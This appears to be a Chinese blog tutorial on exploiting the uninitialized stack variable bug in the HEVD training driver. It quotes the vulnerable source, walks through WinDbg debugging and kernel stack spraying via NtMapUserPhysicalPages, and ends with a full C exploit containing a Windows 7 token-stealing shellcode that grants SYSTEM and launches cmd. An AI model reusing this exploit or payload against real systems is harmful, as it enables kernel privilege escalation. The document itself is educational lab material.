HEVD-第六部分-未初始化的栈变量

分析

首先查看漏洞源码

NTSTATUS
TriggerUninitializedMemoryStack(
    _In_ PVOID UserBuffer
)
{
    ULONG UserValue = 0;
    ULONG MagicValue = 0xBAD0B0B0;
    NTSTATUS Status = STATUS_SUCCESS;

#ifdef SECURE
    //
    // Secure Note: This is secure because the developer is properly initializing
    // UNINITIALIZED_MEMORY_STACK to NULL and checks for NULL pointer before calling
    // the callback
    //

    UNINITIALIZED_MEMORY_STACK UninitializedMemory = { 0 };
#else
    //
    // Vulnerability Note: This is a vanilla Uninitialized Memory in Stack vulnerability
    // because the developer is not initializing 'UNINITIALIZED_MEMORY_STACK' structure
    // before calling the callback when 'MagicValue' does not match 'UserValue'
    //

    UNINITIALIZED_MEMORY_STACK UninitializedMemory;
#endif

    PAGED_CODE();

    __try
    {
        //
        // Verify if the buffer resides in user mode
        //

        ProbeForRead(UserBuffer, sizeof(UNINITIALIZED_MEMORY_STACK), (ULONG)__alignof(UCHAR));

        //
        // Get the value from user mode
        //

        UserValue = *(PULONG)UserBuffer;

        DbgPrint("[+] UserValue: 0x%p\n", UserValue);
        DbgPrint("[+] UninitializedMemory Address: 0x%p\n", &UninitializedMemory);

        //
        // Validate the magic value
        //

        if (UserValue == MagicValue) {
            UninitializedMemory.Value = UserValue;
            UninitializedMemory.Callback = &UninitializedMemoryStackObjectCallback;
        }

        DbgPrint("[+] UninitializedMemory.Value: 0x%p\n", UninitializedMemory.Value);
        DbgPrint("[+] UninitializedMemory.Callback: 0x%p\n", UninitializedMemory.Callback);

#ifndef SECURE
        DbgPrint("[+] Triggering Uninitialized Memory in Stack\n");
#endif

        //
        // Call the callback function
        //

        if (UninitializedMemory.Callback)
        {
            UninitializedMemory.Callback();
        }
    }
    __except (EXCEPTION_EXECUTE_HANDLER)
    {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }

    return Status;
}

可以看出不安全的版本中并没有初始化变量,而且在下面调用了callback函数,那还能用上次那个类似的方法吗?
然后查看汇编代码
在这里插入图片描述
在这里插入图片描述

从图中看出偏移都是从EBP那里开始的

然后其控制码
#define HEVD_IOCTL_UNINITIALIZED_MEMORY_STACK IOCTL(0x80B)
通过计算得出为0x22202F

测试

一些过程

设置断点
如果断点设置失败,查看下HEVD驱动加载上了没,没有的话就把虚拟机的驱动卸载重新装一下就行了
在这里插入图片描述

查找已加载模块
lm m H*
开启符号加载通知
!sym noisy
重新加载符号
.reload

.reload /f强制加载符号 、/i 指定加载符号名称 
查看HEVDpdb文件路径
x HEVD!*
x /D HEVD!a*(查询“HEVD”模块中以字母“A”开头的函数列表) 
bp HEVD!TriggerUninitializedMemoryStack
DWORD bytesRetn;

	char buf[] = "\xb1\xb0\xd0\xba";

	DeviceIoControl(hDevice, HEVD_IOCTL_UNINITIALIZED_MEMORY_STACK, buf, sizeof(buf), NULL, 0, &bytesRetn, NULL);

只能说感谢try_catch
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
windbg中调试可以看到在偏移+a1就跳走,然后触发错误了,所以我们将断点设置在94查看栈状态
在这里插入图片描述

重新设置断点

 bp HEVD!TriggerUninitializedMemoryStack+0x94

在这里插入图片描述
在这里插入图片描述

使用命令查看堆栈,后面那个s就是竖着显示的意思 dds esp
在这里插入图片描述
其中902039cc 9020373c是回调函数的地址,如果将shellcode放在这,执行下面的函数就会初始化shellcode,在下面调用执行时候,shellcode就会执行
且当前的EBP,ESP分别为
在这里插入图片描述

栈喷射

这里使用到内核栈喷射技术
内核栈布局的简化图:

+---------------------------------+   <== Stack limit
...................................
...................................
...................................
...................................
+---------------------------------+
|    VOID (*HandlerRoutine)();    |   <== Uninitialized local pointer
...................................
...................................
|   nt!KeInternalFunction local   |
|           variables             |
+---------------------------------+
|         Stack Frame #3          |
+---------------------------------+
|    nt!KeRandomService local     |
|           variables             |
+---------------------------------+
|         Stack Frame #2          |
+---------------------------------+
|    nt!NtRandomService local     |
|           variables             |
+---------------------------------+
|         Stack Frame #1          |
+---------------------------------+
|                                 |
|           TRAP FRAME            |
|                                 |
+---------------------------------+
...................................
...................................   <== Stack Init (default ESP value)
|                                 |
|         Irrelevant stack        |
|             content             |
|                                 |
+---------------------------------+   <== Stack Base
???????????????????????????????????   <== Unmapped memory

查看内核堆栈初始化命令为 !thread
在这里插入图片描述
在这里插入图片描述
得到0x504的偏移量

然后使用NtMapUserPhysicalPages函数使用我们的 shellcode 地址将整个堆栈喷射到一定长度:
NTSTATUS
NtMapUserPhysicalPages (
__in PVOID VirtualAddress,
__in ULONG_PTR NumberOfPages,
__in_ecount_opt(NumberOfPages) PULONG_PTR UserPfnArray
)
(…)
ULONG_PTR StackArray[COPY_STACK_SIZE];
#define COPY_STACK_SIZE 1024

该函数可以在本地存储多达 4096 个用户提供的字节(正好是一个内存页)

My_NtMapUserPhysicalPages NtMapUserPhysicalPages = (My_NtMapUserPhysicalPages)GetProcAddress(
		GetModuleHandle(L"ntdll"),
		"NtMapUserPhysicalPages");
PDWORD StackSpray = (PDWORD)malloc(1024 * 4);
memset(StackSpray, 0x41, 1024 * 4);
NtMapUserPhysicalPages(NULL, 1024, StackSpray);

在这里插入图片描述
发现已经是喷射到了,所以就可以将其替换为shellcode了
在这里插入图片描述
在这里插入图片描述
总体代码

#include<stdio.h>
#include<Windows.h>
#include<Psapi.h>
#include<stdlib.h>

#define LINK_NAME L"\\\\.\\HackSysExtremeVulnerableDriver"
#define HEVD_IOCTL_UNINITIALIZED_MEMORY_STACK 0x22202F 
#define KTHREAD_OFFSET     0x124  // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET    0x050  // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET         0x0B4  // nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET       0x0B8  // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET       0x0F8  // nt!_EPROCESS.Token
#define SYSTEM_PID         0x004  // SYSTEM Process PID

VOID TokenStealingPayloadWin7() {
	// Importance of Kernel Recovery
	__asm {
		pushad; Save registers state

		; Start of Token Stealing Stub
		xor eax, eax; Set ZERO
		mov eax, fs:[eax + KTHREAD_OFFSET]; Get nt!_KPCR.PcrbData.CurrentThread
		; _KTHREAD is located at FS : [0x124]

		mov eax, [eax + EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process

		mov ecx, eax; Copy current process _EPROCESS structure

		mov edx, SYSTEM_PID; WIN 7 SP1 SYSTEM process PID = 0x4

		SearchSystemPID:
		mov eax, [eax + FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink
			sub eax, FLINK_OFFSET
			cmp[eax + PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId
			jne SearchSystemPID

			mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token
			mov[ecx + TOKEN_OFFSET], edx; Replace target process nt!_EPROCESS.Token
			; with SYSTEM process nt!_EPROCESS.Token
			; End of Token Stealing Stub

			popad; Restore registers state

			; Kernel Recovery Stub
			mov eax, 0x1
	}
}
typedef NTSTATUS(WINAPI * My_NtMapUserPhysicalPages)(
	IN PVOID          VirtualAddress,
	IN ULONG_PTR      NumberOfPages,
	IN OUT PULONG_PTR UserPfnArray);
My_NtMapUserPhysicalPages NtMapUserPhysicalPages = NULL;
int main() {
	printf("[+] calling createFile() to obtain a handle to the driver..\n");
	HANDLE hDevice = CreateFile(LINK_NAME, 0xC0000000, 0, NULL, 0x3, 0, NULL);
	if (hDevice == INVALID_HANDLE_VALUE) {
		printf("[-] Error - Unable to obtain a handle to the driver..\n");
		exit(1);
	}
	printf("[+] Successfully obtained a handle to the driver. .\n\n");



	NtMapUserPhysicalPages = (My_NtMapUserPhysicalPages)GetProcAddress(
		GetModuleHandle(L"ntdll"),
		"NtMapUserPhysicalPages");

	if (NtMapUserPhysicalPages == NULL)
	{
		printf("[-]Failed to get MapUserPhysicalPages!!!\n");
		return 0;
	}
	printf("[+]success to get MapUserPhysicalPages:%p!!!\n", NtMapUserPhysicalPages);
	PDWORD StackSpray = (PDWORD)malloc(1024 * 4);
	memset(StackSpray, 0x41, 1024 * 4);
	printf("[+]Spray address is 0x%p\n", StackSpray);
	printf("[++++++]shellcode  address is 0x%p\n", TokenStealingPayloadWin7);
	
	for (int i = 0; i < 1024; i++)
	{
		*(PDWORD)(StackSpray + i) = (DWORD)&TokenStealingPayloadWin7;
	}

	DWORD bytesRetn;
	NtMapUserPhysicalPages(NULL, 1024, StackSpray);
	char buf[] = "\xb1\xb0\xd0\xba";

	DeviceIoControl(hDevice, HEVD_IOCTL_UNINITIALIZED_MEMORY_STACK, buf, sizeof(buf), NULL, 0, &bytesRetn, NULL);

	system("cmd");
	system("pause");
	CloseHandle(hDevice);
	return 0;

}
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值